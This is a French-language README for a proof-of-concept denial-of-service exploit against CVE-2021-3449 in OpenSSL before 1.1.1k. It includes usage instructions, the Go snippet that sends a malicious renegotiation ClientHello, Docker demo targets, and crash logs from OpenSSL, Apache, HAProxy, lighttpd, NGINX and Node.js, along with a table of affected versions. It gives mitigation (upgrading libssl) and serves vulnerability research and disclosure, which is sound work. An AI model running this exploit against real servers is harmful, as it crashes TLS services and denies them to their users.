Exploit DoS CVE-2021-3449 OpenSSL <1.1.1k

Utilisation : go run . -host hostname:port

Ce programme implémente un exploit de type preuve de concept de CVE-2021-3449 affectant les serveurs OpenSSL antérieurs à 1.1.1k si la renégociation sécurisée TLSv1.2 est acceptée.

Il se connecte à un serveur TLSv1.2 et initie immédiatement une « renégociation sécurisée » RFC 5746. L'attaque implique un ClientHello malveillant qui provoque le crash du serveur en causant un déréférencement de pointeur NULL (déni de service).

Références

Ce problème a été signalé à OpenSSL le 17 mars 2021 par Nokia. Le correctif a été développé par Peter Kästle et Samuel Sapalski de Nokia.

Atténuation

La seule correction connue consiste à mettre à jour libssl1.1.

Même si certaines applications utilisent par défaut des configurations TLS durcies qui désactivent la renégociation TLS, elles restent affectées par le bogue si elles exécutent une ancienne version d'OpenSSL.

Exploit

main.go est un petit script qui se connecte à un serveur TLS, force une renégociation, puis se déconnecte.

Le code de l'exploit a été injecté dans une version groupée du paquet encoding/tls de Go 1.14.15. Vous pouvez le trouver dans handshake_client.go:115. La logique est explicite.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Démo

Le répertoire demo/ contient la configuration nécessaire pour patcher diverses applications avec une version vulnérable d'OpenSSL.

Procédure de test :

Télécharger et compiler localement la version vulnérable OpenSSL 1.1.1j
Préparer un conteneur cible Ubuntu 20.04 et y téléverser les bibliothèques OpenSSL
Installer l'application sur le conteneur cible
Démarrer le serveur et exécuter l'attaque

Prérequis :

OpenSSL (sur l'hôte)
build-essential (Perl, GCC, Make)
Docker

Remarque : Aucun des serveurs web listés n'est vulnérable à CVE-2021-3449 avec OpenSSL 1.1.1k ou une version ultérieure.

Pour nettoyer toutes les ressources de la démo, exécutez make clean.

Serveur simple OpenSSL

openssl s_server est une implémentation minimale de serveur TLS.

make demo-openssl : Exécution complète (port 4433)
make -C demo build-openssl : Construire l'image Docker cible
make -C demo start-openssl : Démarrer la cible sur le port 4433
make -C demo stop-openssl : Arrêter la cible

Résultat : plantage complet du serveur.

Journaux

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

Le serveur web Apache2 httpd avec sa configuration par défaut est vulnérable.

make demo-apache : Exécution complète (port 443)
make -C demo build-apache : Construire l'image Docker cible
make -C demo start-apache : Démarrer la cible sur le port 443
make -C demo stop-apache : Arrêter la cible

Merci à @binarytrails pour sa contribution.

Résultat : perturbation partielle, le processus principal est toujours actif mais le processus worker a planté.

Journaux

docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]

sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2

HAProxy

Les versions de HAProxy 2.0.13 et ultérieures ne sont pas affectées.

Les versions antérieures à au moins 1.8.8 sont vulnérables avec une configuration TLS « intermediate ».

make demo-haproxy : Exécution complète (port 4433)
make -C demo build-haproxy : Construire l'image Docker cible
make -C demo start-haproxy : Démarrer la cible sur le port 4433
make -C demo stop-haproxy : Arrêter la cible

Les tests sont exécutés en mode maître-worker (option -W, par défaut sur Debian). Étonnamment, le processus maître se termine si un processus worker meurt.

Résultat : plantage complet du serveur.

Journaux

docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)

lighttpd

Les versions de lighttpd 1.4.56 et ultérieures ne sont pas vulnérables si ssl.disable-client-renegotiation = "enable" est configuré dans lighttpd.conf.

Le serveur web lighttpd <= 1.4.55 avec une configuration TLS « intermediate » est vulnérable.

make demo-lighttpd : Exécution complète (port 4433)
make -C demo build-lighttpd : Construire l'image Docker cible
make -C demo start-lighttpd : Démarrer la cible sur le port 4433
make -C demo stop-lighttpd : Arrêter la cible

Résultat : plantage complet du serveur.

Journaux

docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf

NGINX

Les versions de NGINX 1.18.0 et ultérieures ne sont pas vulnérables.

Le serveur web NGINX 1.14.0 avec une configuration courante est vulnérable. (https://nginxconfig.io)

Les versions de NGINX >1.15.4 avec OpenSSL >=1.1.1 sont supposées ne pas être affectées, car elles incluent le correctif SSL_OP_NO_RENEGOTIATION : http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html

make demo-nginx : Exécution complète (port 4433)
make -C demo build-nginx : Construire l'image Docker cible
make -C demo start-nginx : Démarrer la cible sur le port 4433
make -C demo stop-nginx : Arrêter la cible

Résultat : perturbation partielle, le processus principal est toujours actif mais le processus worker a planté.

Journaux

docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)

Node.js

Node.js https.createServer() est vulnérable.

make demo-nodejs : Exécution complète (port 4433)
make -C demo build-nodejs : Construire l'image Docker cible
make -C demo start-nodejs : Démarrer la cible sur le port 4433
make -C demo stop-nodejs : Arrêter la cible

Résultat : plantage complet du serveur.

Journaux

server started
sending initial ClientHello
connected
sending malicious ClientHello

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0  0x000000000160714e in tls1_process_sigalgs ()
#1  0x00000000016074b3 in tls1_set_server_sigalgs ()
#2  0x00000000016007dd in tls_post_process_client_hello ()
#3  0x00000000015ef692 in state_machine.part ()
#4  0x00000000015c1a6d in ssl3_read_bytes ()
#5  0x00000000015ca2c7 in ssl3_read ()
#6  0x00000000015d6491 in SSL_read ()
#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF

Copyright

Ce dépôt inclut le paquet encoding/tls du langage de programmation Go.

// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

OpenSSL s_server	-	1.1.1j	`make demo-openssl`	Plantage
Apache2	Ubuntu 18.04	2.4.29	`make demo-apache2`	Plantage partiel
HAProxy	Ubuntu 18.04	1.8.8	`make demo-haproxy`	Plantage
HAProxy	Ubuntu 20.04	2.0.13	`make demo-haproxy`	Aucun effet
lighttpd	Ubuntu 18.04	1.4.55	`make demo-lighttpd`	Plantage
lighttpd	Ubuntu 20.04	1.4.55	`make demo-lighttpd`	Plantage
lighttpd	Ubuntu 21.04	1.4.59	`make demo-lighttpd`	Aucun effet avec l'option de configuration
NGINX	Ubuntu 18.04	1.14.0	`make demo-nginx`	Plantage partiel
NGINX	Ubuntu 20.04	1.18.0	`make demo-nginx`	Aucun effet
Node.js <=12	Ubuntu 18.04			Aucun effet
Node.js >12	Ubuntu 18.04	?	`make demo-nodejs`	Plantage
Node.js >12	Ubuntu 18.04	15.14.0	`make demo-nodejs`	Aucun effet

cve-2021-3449

Populaires

Exploit DoS CVE-2021-3449 OpenSSL <1.1.1k

Références

Atténuation

Exploit

Démo

Serveur simple OpenSSL

Apache2 httpd

HAProxy

lighttpd

NGINX

Node.js

Copyright